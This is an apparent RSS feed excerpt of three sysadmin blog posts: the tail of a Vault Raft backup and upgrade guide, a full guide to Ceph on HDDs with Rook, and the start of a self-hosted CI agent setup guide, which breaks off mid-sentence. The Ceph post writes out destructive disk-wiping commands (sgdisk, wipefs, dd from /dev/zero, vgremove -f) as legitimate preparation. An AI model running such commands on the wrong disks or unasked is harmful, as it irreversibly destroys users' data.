secret id at deploy time.</p><p><strong>Secrets engines.</strong> Enable the KV version 2 engine at kv/ for static secrets, and consider the database engine for dynamic credentials once the basics are in place:</p><pre>vault secrets enable -path=kv -version=2 kv</pre><h3>Step 7: backups you have restored</h3><p>Raft has a built-in snapshot mechanism that produces a single file containing the entire encrypted state of the cluster. Take one on a schedule, from any node, via the load balancer:</p><pre>vault operator raft snapshot save /var/backups/vault/vault-$(date +%F-%H%M).snap</pre><p>The snapshot is encrypted with the master key, so it is useless without the seal, which means the auto-unseal key in your KMS is now part of your backup. If the KMS key is deleted, every snapshot is a random blob. Protect the KMS key with soft-delete and purge protection, and back up its metadata.</p><p>Run this from cron on a non-Vault machine that holds a token with only the sys/storage/raft/snapshot read capability, and copy the file off-site. Daily is a reasonable floor.</p><p>Then, on a schedule of your own, restore one. Build a scratch three-node cluster from this post, initialise it, and run:</p><pre>vault operator raft snapshot restore -force /var/backups/vault/vault-2026-09-14-0300.snap</pre><p>-force is required when restoring into a cluster that was initialised separately, because the snapshot carries the original cluster&#39;s identity. After the restore, log in with the original cluster&#39;s recovery keys or a token from the original cluster and read a known secret. Until you have done that once, you do not have backups; you have files.</p><h3>Step 8: upgrading without downtime</h3><p>Raft supports rolling upgrades, and the order matters. Upgrade the standbys first, one at a time: stop Vault, install the new package, start it, wait for list-peers to show it back as a follower with a committed index matching the leader. When both standbys are on the new version, step the leader down:</p><pre>vault operator step-down</pre><p>One of the upgraded standbys becomes leader, clients failover through the load balancer, and you upgrade the old leader last. Read the upgrade notes for every minor version before doing this; Vault occasionally changes storage format in ways that make downgrade impossible.</p><h3>When it goes wrong</h3><p><strong>All nodes report sealed after a restart, with auto-unseal configured.</strong> The KMS was unreachable when Vault started. Check journalctl -u vault for the seal error; on Azure it is usually the managed identity missing the role, or a firewall between the VM and Key Vault. Vault retries, so fixing the cause is enough.</p><p><strong>A node will not join, with a TLS error in its log.</strong> The leader_ca_cert_file is wrong or missing, or the leader&#39;s certificate does not contain the IP the joiner is using. openssl s_client -connect 10.0.0.11:8200 &lt;/dev/null | openssl x509 -noout -ext subjectAltName from the joiner shows what the leader is presenting.</p><p><strong>list-peers shows a node as a non-voter, or missing.</strong> It fell too far behind to catch up, usually because it was down long enough that the leader compacted the log past its position. Remove it (vault operator raft remove-peer vault-3), wipe its data directory, and let retry_join bring it back as a fresh follower that receives a full snapshot.</p><p><strong>Writes hang or time out.</strong> Quorum is lost: two of three nodes are down or partitioned. Vault cannot accept writes without a majority, by design. Restore a second node and the cluster resumes. This is why the three nodes go on three separate hosts.</p><p><strong>A client sees </strong><strong>permission denied on a path that looks right.</strong> For KV v2, the policy path needs kv/data/... for reads and kv/metadata/... for lists. For every other case, vault token capabilities &lt;path&gt; prints what the current token can actually do there, which resolves most arguments in one command.</p><h3>What the single-node Vault taught me</h3><p>Auto-unseal is not a convenience. A secrets store that needs three people awake to survive a reboot is a secrets store that will be down at the worst possible time, because reboots do not schedule themselves for office hours.</p><p>Three nodes is the minimum. Two is worse than one, because two nodes cannot form a majority when one is gone, so you get all of the complexity and none of the availability.</p><p>The load balancer health check is part of the design, not an afterthought. It is what turns “a node died” into “a node died and nobody noticed”, which is the goal.</p><p>And a backup is a restore you have done. Everything else is hope with a filename.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=379bf5652ee7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ceph on spinning rust, with Rook]]></title>
            <link>https://medium.com/@kmoussa/ceph-on-spinning-rust-with-rook-8d8d10cabb9c?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d8d10cabb9c</guid>
            <category><![CDATA[rook-ceph]]></category>
            <category><![CDATA[ceph]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[server-hard-drives]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 20:13:41 GMT</pubDate>
            <atom:updated>2026-09-21T20:13:41.764Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*R3sDmQWFBEuKA_ssQ2v0bA.jpeg" /></figure><p>The last time someone asked me to put Ceph on Kubernetes, the hardware was already bought. Four 2U boxes, each with eight 8 TB SATA drives that had been meant for a backup NAS before that project got cancelled, a single 480 GB SSD per box for the OS, and 1 GbE on-board networking. The question was whether it could be “the storage” for a small on-prem cluster. Everything you read about Ceph assumes NVMe and 25 GbE. Nobody writes about the pile of spinning disks that’s actually in the rack.<br>It can work. I’ve run that setup and others like it, and I’ve also seen the version where someone followed the Rook quickstart with useAllDevices: true, got a green HEALTH_OK, declared victory, and then six months later had a full cluster that took a week to rebalance because every OSD was writing its metadata to a 7200 rpm disk. The difference between those two outcomes comes down to about five decisions made in the first afternoon, and they&#39;re not the ones the quickstart draws your attention to.</p><p>This is what I now do, in the order I do it. I’m assuming you already have a Kubernetes cluster with at least three nodes and root on all of them. If you don’t, the kubeadm post I wrote earlier is the starting point.</p><h3>What Rook is actually going to build</h3><p>Rook is an operator. It takes a CephCluster resource and turns it into Ceph daemons running as pods. The ones that matter for this discussion:</p><ul><li><strong>MONs</strong> hold the cluster map and form a quorum. You want three, on three nodes. They’re small.</li><li><strong>MGRs</strong> run the dashboard, the metrics exporter and the PG autoscaler. Two, active and standby.</li><li><strong>OSDs</strong> are one process per physical disk, and this is where all the HDD problems live. Each one wants around 4 GB of RAM by default.</li><li><strong>MDS</strong> if you use CephFS, <strong>RGW</strong> if you want S3. Neither is needed for block storage.</li></ul><p>Rook also installs the CSI drivers, so a PersistentVolumeClaim becomes an RBD image or a CephFS subvolume without you touching Ceph directly.</p><p>The thing to understand about OSDs is BlueStore. It writes your data straight to the raw block device and keeps its own metadata in RocksDB. RocksDB has a write-ahead log and a database, and both of them are small random writes. A spinning disk does maybe 100 to 150 of those per second. So if the data and the RocksDB metadata share a disk, every client write costs you two or three seeks, and the disk spends more time on bookkeeping than on your data. Move the DB and WAL onto flash and the HDD only has to do sequential work, which is the one thing it’s decent at.</p><p>That’s the first of the five decisions and it’s the one the quickstart doesn’t mention: each node needs a piece of flash for metadata, separate from the OS disk if you can manage it, and every HDD’s DB/WAL goes there.</p><h3>Hardware, before anything is installed</h3><p>Some of this you can’t change once you’ve bought the servers, but you should at least know where you stand.</p><p>You need <strong>three nodes with disks in them</strong>. Ceph’s default is three replicas on three different hosts, and with two storage nodes you’ll spend your life overriding safety settings. A control plane plus one big storage box doesn’t count.</p><p><strong>One OSD per HDD, no RAID.</strong> If the servers have a hardware RAID controller, put it in JBOD or HBA mode. Ceph handles redundancy itself; a RAID layer underneath hides failing disks from it and doubles write amplification for nothing.</p><p><strong>Flash for DB/WAL</strong>, one device per node, roughly 30 to 60 GB per HDD. A 480 GB SSD covers six to eight drives. If you’re buying, get something with power-loss protection. A consumer SSD without it does sync writes at a crawl, and Ceph does a lot of sync writes. In the four-node setup I described, we ended up pulling one of the eight HDDs from each box to make room for an NVMe, which cost a bit of capacity and was still the best decision in the whole project.</p><p><strong>RAM</strong>: 4 GB per OSD plus 8 GB for everything else. Eight disks means 40 GB minimum in the node. You can push the OSD target down to 3 GB if you have to, I’ll show how, but don’t plan on it.</p><p><strong>Network</strong>: 10 GbE if you can get it. Every write is replicated, so it crosses the network at least twice, and during recovery the cluster will happily eat a 1 GbE link and leave nothing for clients. In that four-node case we lived on 1 GbE for the first few months and it was the source of most complaints. Adding a dual-port 10 GbE card per node was the second-best decision.</p><p><strong>Time sync</strong>: MONs won’t form quorum with more than 50 ms of clock skew. Chrony everywhere, first.</p><h3>Wiping the disks</h3><p>If Rook isn’t creating OSDs, this is where the problem is nine times out of ten. Rook’s disk discovery deliberately skips anything that looks owned: a partition table, a filesystem signature, an LVM physical volume, remnants of a previous Ceph OSD. Disks that came out of a NAS or a failed first attempt at Rook always have something on them, and the failure is silent unless you read the prepare job logs.</p><p>So on every node, for every data disk and the metadata SSD, and after checking twice with lsblk that you have the right device:</p><pre>DISK=/dev/sdb</pre><pre># Leftover Ceph LVM from a previous attempt<br>ls /dev/mapper/ceph-* 2&gt;/dev/null | xargs -r -I{} dmsetup remove {}<br>vgs --noheadings -o vg_name 2&gt;/dev/null | grep ceph | xargs -r vgremove -f</pre><pre># Partition table and filesystem signatures<br>sgdisk --zap-all $DISK<br>wipefs --all $DISK</pre><pre># Zero the head and tail; some signatures live at the end of the disk<br>dd if=/dev/zero of=$DISK bs=1M count=100 oflag=direct,dsync<br>dd if=/dev/zero of=$DISK bs=1M count=100 oflag=direct,dsync \<br>   seek=$(( $(blockdev --getsz $DISK) / 2048 - 100 ))</pre><pre># SSDs: discard the lot instead<br>blkdiscard $DISK 2&gt;/dev/null || true</pre><pre>partprobe $DISK</pre><p>Then lsblk -f should show the data disks with no FSTYPE and no children. While you&#39;re there, modprobe rbd and check it loads; the CSI driver needs it on every node that will mount volumes.</p><p>One more thing about disks. /dev/sdb is not stable across reboots, especially on hot-swap backplanes. Always reference disks through /dev/disk/by-id/, which is built from the serial number:</p><pre>ls -l /dev/disk/by-id/ | grep -v part | grep -E &#39;ata-|nvme-|scsi-&#39;</pre><p>Note those paths per node. They go straight into the cluster manifest.</p><h3>Installing the operator</h3><p>I use the Helm charts because that’s what Rook tests against. The versions below are Rook 1.17 and Ceph Squid 19.2; check the <a href="https://github.com/rook/rook/releases">releases page</a>, they’ll have moved.</p><pre>helm repo add rook-release https://charts.rook.io/release<br>helm repo update</pre><pre>helm install --create-namespace --namespace rook-ceph rook-ceph rook-release/rook-ceph \<br>  --set csi.enableRbdDriver=true \<br>  --set csi.enableCephfsDriver=true \<br>  --set enableDiscoveryDaemon=true</pre><pre>kubectl -n rook-ceph get pods</pre><p>The discovery daemon is optional. I turn it on because it writes a ConfigMap per node listing what disks it can see, and comparing that to what you expect before you create the cluster saves a round of debugging later:</p><pre>kubectl -n rook-ceph get cm local-device-&lt;node-name&gt; -o yaml</pre><h3>The cluster manifest</h3><p>Here’s the second decision. Every tutorial uses useAllNodes: true and useAllDevices: true. I don&#39;t, on any cluster with HDDs, because it means any block device Rook can see becomes an OSD. That has included, in my experience, a USB installer someone left plugged in, and the SSD I&#39;d intended for metadata. It also gives you no way to say &quot;this disk is for DB/WAL, not data.&quot; List the nodes and the disks.</p><p>Label the storage nodes:</p><pre>kubectl label node storage-1 storage-2 storage-3 role=storage-node</pre><p>And the cluster:</p><pre>apiVersion: ceph.rook.io/v1<br>kind: CephCluster<br>metadata:<br>  name: rook-ceph<br>  namespace: rook-ceph<br>spec:<br>  cephVersion:<br>    image: quay.io/ceph/ceph:v19.2.2<br>  dataDirHostPath: /var/lib/rook<br>  mon:<br>    count: 3<br>    allowMultiplePerNode: false<br>  mgr:<br>    count: 2<br>    allowMultiplePerNode: false<br>    modules:<br>      - name: pg_autoscaler<br>        enabled: true<br>  dashboard:<br>    enabled: true<br>    ssl: false<br>  monitoring:<br>    enabled: false        # flip on once the Prometheus operator is there<br>  network:<br>    connections:<br>      encryption:<br>        enabled: false<br>      compression:<br>        enabled: false<br>  placement:<br>    all:<br>      nodeAffinity:<br>        requiredDuringSchedulingIgnoredDuringExecution:<br>          nodeSelectorTerms:<br>            - matchExpressions:<br>                - key: role<br>                  operator: In<br>                  values: [&quot;storage-node&quot;]<br>      tolerations:<br>        - key: storage-node<br>          operator: Exists<br>  resources:<br>    mon:<br>      requests: { cpu: &quot;500m&quot;, memory: &quot;1Gi&quot; }<br>      limits:   { memory: &quot;2Gi&quot; }<br>    mgr:<br>      requests: { cpu: &quot;500m&quot;, memory: &quot;1Gi&quot; }<br>      limits:   { memory: &quot;2Gi&quot; }<br>    osd:<br>      requests: { cpu: &quot;1&quot;, memory: &quot;4Gi&quot; }<br>      limits:   { memory: &quot;6Gi&quot; }<br>  storage:<br>    useAllNodes: false<br>    useAllDevices: false<br>    config:<br>      osdsPerDevice: &quot;1&quot;<br>      deviceClass: &quot;hdd&quot;<br>    nodes:<br>      - name: storage-1<br>        config:<br>          metadataDevice: &quot;/dev/disk/by-id/nvme-VENDOR_MODEL_SERIAL-A&quot;<br>        devices:<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-A1&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-A2&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-A3&quot;<br>      - name: storage-2<br>        config:<br>          metadataDevice: &quot;/dev/disk/by-id/nvme-VENDOR_MODEL_SERIAL-B&quot;<br>        devices:<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-B1&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-B2&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-B3&quot;<br>      - name: storage-3<br>        config:<br>          metadataDevice: &quot;/dev/disk/by-id/nvme-VENDOR_MODEL_SERIAL-C&quot;<br>        devices:<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-C1&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-C2&quot;<br>          - name: &quot;/dev/disk/by-id/ata-VENDOR_MODEL_SERIAL-C3&quot;</pre><p>The by-id paths above are placeholders; yours will look like ata-&lt;model&gt;_&lt;serial&gt; and nvme-&lt;model&gt;_&lt;serial&gt;, straight from the ls output earlier.</p><p>A few things in there that aren’t obvious.</p><p>metadataDevice at the node level tells Rook that every HDD on that node gets its DB/WAL carved out of that SSD. Underneath, ceph-volume creates one logical volume per OSD on the flash. If you don&#39;t say otherwise it divides the SSD evenly, which is fine; if you want to pin it, databaseSizeMB: &quot;61440&quot; under the node config does that.</p><p>deviceClass: &quot;hdd&quot; is the third decision. Ceph will usually detect the class on its own, but detection is wrong often enough on HBA-attached or virtualised drives that I set it. It&#39;s what lets you say, later, &quot;this pool only lives on spinning disks&quot; and &quot;this pool only lives on the flash I added.&quot; Without it, adding SSD OSDs next year spreads your existing pools across both and you get the worst of each.</p><p>The OSD resource block is the fourth. Rook sets osd_memory_target from the memory request, and Ceph sizes its caches from that. If the limit equals the target, the first big recovery pushes the OSD over and it gets OOM-killed, which triggers more recovery. Give it headroom. 4 GB request, 6 GB limit.</p><p>Encryption and compression are off on purpose. There’s no CPU to spare for either on an HDD node, and neither helps the bottleneck you actually have.</p><p>Apply it and watch:</p><pre>kubectl apply -f cluster.yaml<br>watch kubectl -n rook-ceph get pods</pre><p>MONs come up first, then MGR, then one rook-ceph-osd-prepare-&lt;node&gt; job per node, then the OSD pods. If a node ends up without OSDs, the prepare job log is the only place worth looking:</p><pre>kubectl -n rook-ceph logs job/rook-ceph-osd-prepare-storage-1</pre><p>Then get yourself a shell with the Ceph CLI:</p><pre>kubectl apply -f https://raw.githubusercontent.com/rook/rook/release-1.17/deploy/examples/toolbox.yaml<br>kubectl -n rook-ceph exec -it deploy/rook-ceph-tools -- bash<br>ceph status<br>ceph osd tree</pre><p>ceph osd tree should show three hosts, the OSDs you listed under each, all up and in, class hdd. ceph status will be HEALTH_WARN until there&#39;s a pool. That&#39;s normal.</p><h3>Pools</h3><p>This is where deviceClass pays off, and it&#39;s also the fifth decision: every pool gets a class, always. A pool without one spreads over whatever OSDs exist.</p><p>For block storage:</p><pre>apiVersion: ceph.rook.io/v1<br>kind: CephBlockPool<br>metadata:<br>  name: hdd-block<br>  namespace: rook-ceph<br>spec:<br>  failureDomain: host<br>  deviceClass: hdd<br>  replicated:<br>    size: 3<br>    requireSafeReplicaSize: true<br>  parameters:<br>    pg_autoscale_mode: &quot;on&quot;<br>---<br>apiVersion: storage.k8s.io/v1<br>kind: StorageClass<br>metadata:<br>  name: ceph-hdd-block<br>provisioner: rook-ceph.rbd.csi.ceph.com<br>parameters:<br>  clusterID: rook-ceph<br>  pool: hdd-block<br>  imageFormat: &quot;2&quot;<br>  imageFeatures: layering,fast-diff,object-map,deep-flatten,exclusive-lock<br>  csi.storage.k8s.io/provisioner-secret-name: rook-csi-rbd-provisioner<br>  csi.storage.k8s.io/provisioner-secret-namespace: rook-ceph<br>  csi.storage.k8s.io/controller-expand-secret-name: rook-csi-rbd-provisioner<br>  csi.storage.k8s.io/controller-expand-secret-namespace: rook-ceph<br>  csi.storage.k8s.io/node-stage-secret-name: rook-csi-rbd-node<br>  csi.storage.k8s.io/node-stage-secret-namespace: rook-ceph<br>  csi.storage.k8s.io/fstype: ext4<br>reclaimPolicy: Delete<br>allowVolumeExpansion: true</pre><p>For a shared filesystem, which is honestly what HDD clusters are best at, since large sequential files are the one workload spinning disks handle well:</p><pre>apiVersion: ceph.rook.io/v1<br>kind: CephFilesystem<br>metadata:<br>  name: hdd-fs<br>  namespace: rook-ceph<br>spec:<br>  metadataPool:<br>    replicated:<br>      size: 3<br>    deviceClass: hdd        # ssd, if you have any flash OSDs at all<br>  dataPools:<br>    - name: data0<br>      failureDomain: host<br>      deviceClass: hdd<br>      replicated:<br>        size: 3<br>  metadataServer:<br>    activeCount: 1<br>    activeStandby: true<br>    resources:<br>      requests: { cpu: &quot;500m&quot;, memory: &quot;2Gi&quot; }<br>      limits:   { memory: &quot;4Gi&quot; }<br>---<br>apiVersion: storage.k8s.io/v1<br>kind: StorageClass<br>metadata:<br>  name: ceph-hdd-fs<br>provisioner: rook-ceph.cephfs.csi.ceph.com<br>parameters:<br>  clusterID: rook-ceph<br>  fsName: hdd-fs<br>  pool: hdd-fs-data0<br>  csi.storage.k8s.io/provisioner-secret-name: rook-csi-cephfs-provisioner<br>  csi.storage.k8s.io/provisioner-secret-namespace: rook-ceph<br>  csi.storage.k8s.io/controller-expand-secret-name: rook-csi-cephfs-provisioner<br>  csi.storage.k8s.io/controller-expand-secret-namespace: rook-ceph<br>  csi.storage.k8s.io/node-stage-secret-name: rook-csi-cephfs-node<br>  csi.storage.k8s.io/node-stage-secret-namespace: rook-ceph<br>reclaimPolicy: Delete<br>allowVolumeExpansion: true</pre><p>CephFS metadata is small random I/O. If you have even one spare flash OSD per node, put the metadata pool on it. If the only flash you have is already used for DB/WAL, leave it on HDD; it’s fine for a filesystem that isn’t hammered.</p><p>People ask about erasure coding at this point because the disks are big and cheap and 4+2 sounds like free capacity. Two problems. EC with failureDomain: host needs k+m hosts, so 4+2 is six nodes; on three you&#39;d be looking at 2+1, which is worse than replication. And EC turns every small write into k+m disk operations, which on HDD is exactly what you&#39;re trying to avoid. Save it for a cold-data CephFS pool once you have six or more nodes.</p><h3>What performance to expect</h3><p>Before anyone runs a database on this, run fio on it, so you have numbers to point at:</p><pre>kubectl apply -f - &lt;&lt;&#39;YAML&#39;<br>apiVersion: v1<br>kind: PersistentVolumeClaim<br>metadata:<br>  name: test-hdd<br>spec:<br>  accessModes: [ReadWriteOnce]<br>  storageClassName: ceph-hdd-block<br>  resources:<br>    requests:<br>      storage: 10Gi<br>---<br>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: test-hdd<br>spec:<br>  containers:<br>    - name: fio<br>      image: ljishen/fio<br>      command: [&quot;sleep&quot;, &quot;infinity&quot;]<br>      volumeMounts:<br>        - name: data<br>          mountPath: /data<br>  volumes:<br>    - name: data<br>      persistentVolumeClaim:<br>        claimName: test-hdd<br>YAML</pre><pre>kubectl wait --for=condition=Ready pod/test-hdd --timeout=120s<br>kubectl exec test-hdd -- fio --name=seqwrite --rw=write --bs=1M --size=2G \<br>  --directory=/data --direct=1 --numjobs=1 --ioengine=libaio --iodepth=16<br>kubectl exec test-hdd -- fio --name=randwrite --rw=randwrite --bs=4k --size=1G \<br>  --directory=/data --direct=1 --numjobs=4 --ioengine=libaio --iodepth=32</pre><p>Three nodes, three SATA drives each, NVMe DB/WAL, 10 GbE: I’d expect somewhere around 200 to 400 MB/s sequential and 300 to 800 random 4k write IOPS from a single client, and I’d be pleased with the top of those ranges. Without flash for metadata, divide the random number by three or worse. Those are physics numbers, not tuning numbers. A PostgreSQL that was happy on a local SSD will not be happy here, and it’s better to say so before it’s deployed than after.</p><h3>Tuning that’s worth doing</h3><p>Ceph’s defaults have drifted towards flash. A handful of settings pull them back for HDD. Set them from the toolbox; Rook keeps ceph config set values in the MON store so they persist.</p><pre># 3 GB per HDD OSD if RAM is tight. 4 GB (the default) if it isn&#39;t.<br>ceph config set osd/class:hdd osd_memory_target 3221225472</pre><pre># Recovery scheduling. Quincy and later use mClock with profiles; on HDD the<br># default profile still lets a rebalance starve clients. Keep this on<br># high_client_ops and only switch to high_recovery_ops in a maintenance window.<br>ceph config set osd osd_mclock_profile high_client_ops</pre><pre># Scrubs compete with clients on HDD. Push them to the night and slow them down.<br>ceph config set osd osd_scrub_begin_hour 22<br>ceph config set osd osd_scrub_end_hour 6<br>ceph config set osd osd_scrub_sleep 0.1<br>ceph config set osd osd_deep_scrub_interval 2419200   # four weeks</pre><pre># A disk that hiccups for a few minutes shouldn&#39;t trigger a full rebalance.<br>ceph config set mon mon_osd_down_out_interval 900</pre><p>And on any pool you know will be large, tell the autoscaler up front so it doesn’t split PGs under load later:</p><pre>ceph osd pool set hdd-block target_size_ratio 0.8</pre><p>I’d leave bluestore_min_alloc_size_hdd (4 KB since Pacific), manual PG counts and the op queue alone unless you have a measured reason.</p><h3>Things that go wrong, roughly in order</h3><p><strong>No OSDs on a node.</strong> Leftover signatures or LVM. Wipe again, properly. Or a by-id path with a typo; the prepare log says device not found.</p><p><strong>OSDs on the wrong disk.</strong> Somebody used useAllDevices: true. ceph osd out, ceph osd purge, wipe, and list devices explicitly.</p><p><strong>DB/WAL ended up on the HDD.</strong> Check with ceph osd metadata &lt;id&gt; | grep -E &#39;bluefs_db|devices&#39;. Usually the SSD wasn&#39;t clean and ceph-volume silently fell back to colocated. Wipe the SSD, purge that node&#39;s OSDs, let the prepare job re-run. This one is worth checking on day one, because you won&#39;t notice it from performance alone until the cluster has real load, and fixing it then means draining every OSD on the node.</p><p><strong>MONs won’t form quorum.</strong> Clock skew or a firewall. MONs need 3300 and 6789; OSDs need 6800 to 7300.</p><p><strong>Slow, but all OSDs equally slow.</strong> ceph osd perf. Commit latencies of 20 to 60 ms across the board are just HDD. One OSD at 500 ms while the rest sit at 30 is a dying disk. smartctl -a it and replace it before Ceph does.</p><p><strong>OSDs OOM-killed during recovery.</strong> Limit too close to osd_memory_target. Raise the limit or lower the target.</p><p><strong>Cluster fills up.</strong> nearfull at 85%, full at 95%, and at full every write in the cluster stops. Big disks make this feel far away right up until it isn&#39;t. Alert at 75%.</p><p><strong>Node removed with its OSDs still </strong><strong>in.</strong> Ceph tries to re-replicate onto two hosts, can&#39;t satisfy size 3, and sits degraded. Always ceph osd out first, wait for active+clean, then purge, then edit the manifest.</p><h3>Living with it</h3><p>Adding a disk is adding a by-id line under the node in the CephCluster; Rook runs a prepare job and the OSD joins. The rebalance takes hours on HDD, so do it with high_client_ops set if it&#39;s during the day.</p><p>Replacing a failed disk: ceph osd out &lt;id&gt;, wait for active+clean, ceph osd purge &lt;id&gt; --yes-i-really-mean-it, swap the drive, wipe it, put the new by-id path in the manifest (new serial, new path), and Rook does the rest.</p><p>Turn on monitoring.enabled once the Prometheus operator is installed and import the Ceph dashboards. On HDD the three graphs that matter are OSD commit latency, PGs not active+clean, and raw capacity.</p><p>Upgrades are two things. The operator follows the Helm chart. Ceph itself is a change to cephVersion.image, after which Rook rolls the daemons one at a time and waits for health in between. Ceph won&#39;t jump more than two major versions, so don&#39;t let a cluster fall that far behind.</p><p>For the reference material: the <a href="https://rook.io/docs/rook/latest/">Rook docs</a> for the CephCluster CRD and the <a href="https://rook.io/docs/rook/latest/Storage-Configuration/Advanced/ceph-osd-mgmt/">OSD management page</a> for add and replace procedures; the Ceph docs on <a href="https://docs.ceph.com/en/latest/start/hardware-recommendations/">hardware</a>, <a href="https://docs.ceph.com/en/latest/rados/configuration/bluestore-config-ref/">BlueStore</a> for DB/WAL sizing, and <a href="https://docs.ceph.com/en/latest/rados/configuration/mclock-config-ref/">mClock profiles</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d8d10cabb9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Hosted CI Agents on Ubuntu: Azure DevOps, GitHub, and a Private Harbor Registry]]></title>
            <link>https://medium.com/@kmoussa/self-hosted-ci-agents-on-ubuntu-azure-devops-github-and-a-private-harbor-registry-2f80681a1bf3?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f80681a1bf3</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[azure-devops]]></category>
            <category><![CDATA[self-hosted]]></category>
            <category><![CDATA[harbor]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 20:38:51 GMT</pubDate>
            <atom:updated>2026-09-16T20:38:51.934Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v98fRdg5SiBOvimltSp2Qw.png" /></figure><p>Last week one of my build agents stopped doing its job. I ran sudo ./svc.sh status and everything looked perfect. Active, running for four days, it had even self-updated ten minutes earlier and logged &quot;Listening for Jobs&quot;. By every signal the agent service gives you, it was healthy.</p><p>The pipeline still failed on every docker pull.</p><p>The agent was fine. The machine underneath it was not. The Docker daemon on that box had never been told to trust the certificate on our Harbor registry, and the curl -k I used to &quot;prove&quot; connectivity was quietly skipping the very check Docker refuses to skip. The output was right there in the verbose log: unable to get local issuer certificate (20), continuing anyway. Docker does not continue anyway.</p><p>That is the whole lesson of this post. A self-hosted agent is not one thing to install. It is a small stack: a Linux user, a Docker daemon, a set of trusted certificates, a registry login, and only then the agent binary on top. When one of the lower layers is wrong, the agent itself keeps reporting green while your builds keep going red.</p><p>So instead of a step-by-step install guide, I have written this the way I now actually set these machines up: bottom layer first, verified before moving up, and with the reason behind every command, because the reason is what you need when the command does not behave. I cover both the Azure DevOps agent and the GitHub Actions runner. Most teams I have worked with end up running both, and they share everything below the agent layer.</p><h3>Layer 0: the machine and the user</h3><p>Start with a plain Ubuntu 22.04 or 24.04 VM. Two vCPU and 8 GB is enough for a general-purpose agent. Disk is where people undersize: every image a pipeline pulls, every layer it builds, and every checkout it does lands on this machine and stays there until something removes it. I give build agents 100 GB and a weekly prune job, which I show in the failures section below.</p><p>Create a dedicated user for the agent. Do not run it as root, and do not run it as your own admin account either. Root means every pipeline step can modify the machine, which turns a compromised pipeline into a compromised host. Your admin account means the agent inherits your groups, your dotfiles, and your PATH, so things work for the wrong reasons and stop working when your account changes. A dedicated user with nothing but what the pipelines need makes every missing permission show up as an error you can read.</p><pre>sudo adduser --disabled-password --gecos &quot;&quot; ciagent<br>sudo mkdir -p /opt/agents<br>sudo chown ciagent:ciagent /opt/agents</pre><p>--disabled-password creates the account without a password, so nobody can log in as it interactively; you reach it only through sudo -u ciagent. --gecos &quot;&quot; skips the interactive prompts for full name and phone number that adduser would otherwise ask. I keep the agent installs under /opt/agents rather than in the user&#39;s home directory because home directories get backed up, quota-limited, and cleaned by people who do not know what _work is. /opt is the conventional place for software that is not part of the distribution.</p><p>Install the tools the pipelines will actually call:</p><pre>sudo apt-get update<br>sudo apt-get install -y curl git jq unzip ca-certificates gnupg lsb-release</pre><p>git is what both agents use for checkout; without it the very first step of every job fails. curl and unzip are for the download steps in this post and for tasks that fetch tools at runtime. jq is not strictly required but almost every shell step that touches an API ends up needing it. ca-certificates is the OS trust store, which we will add our own CA to shortly. gnupg and lsb-release are needed by the Docker installation in the next layer: one to verify the repository signature, the other to tell the install script which Ubuntu release we are on.</p><h3>Layer 1: Docker, for the agent user specifically</h3><p>Ubuntu ships a docker.io package, and it is usually a version or two behind. That matters on a build agent because BuildKit features, buildx, and the compose plugin move quickly, and the pipeline tasks assume a recent CLI. Install from Docker&#39;s own repository instead:</p><pre>sudo install -m 0755 -d /etc/apt/keyrings<br>curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg<br>echo &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \<br>  https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&quot; | \<br>  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null<br>sudo apt-get update<br>sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin</pre><p>What these lines do, in order. The first creates a directory for third-party signing keys with permissions that let apt read it. The second downloads Docker&#39;s GPG public key and converts it from ASCII-armoured text to the binary format apt expects (--dearmor).</p><p>The third writes a repository definition: arch= pins it to this machine&#39;s architecture so you do not pull the wrong binaries on an ARM VM, signed-by= tells apt to trust packages from this repository only if they are signed by that specific key, and $(lsb_release -cs) expands to the release codename (jammy, noble) so the right repository branch is used. Then the packages: docker-ce is the daemon, docker-ce-cli is the client, containerd.io is the container runtime the daemon delegates to, docker-buildx-plugin gives you BuildKit-based builds with cache export and multi-platform support, and docker-compose-plugin provides docker compose for jobs that spin up dependencies.</p><p>Now the part that catches almost everyone. Docker’s CLI talks to the daemon over a Unix socket at /var/run/docker.sock. That socket is owned by root and by a group called docker, and only members of that group can write to it. Being in that group is effectively root on the machine, because anyone who can start a container can mount / into it, so give it only to the agent user, not to yourself out of convenience.</p><pre>sudo usermod -aG docker ciagent</pre><p>-a appends; without it usermod -G replaces the user&#39;s entire group list, which is a classic way to lock a user out of things. Group membership is read when a process starts and never re-read. If the agent service is already running when you do this, it keeps the old group list and keeps failing with permission denied while trying to connect to the Docker daemon socket until you 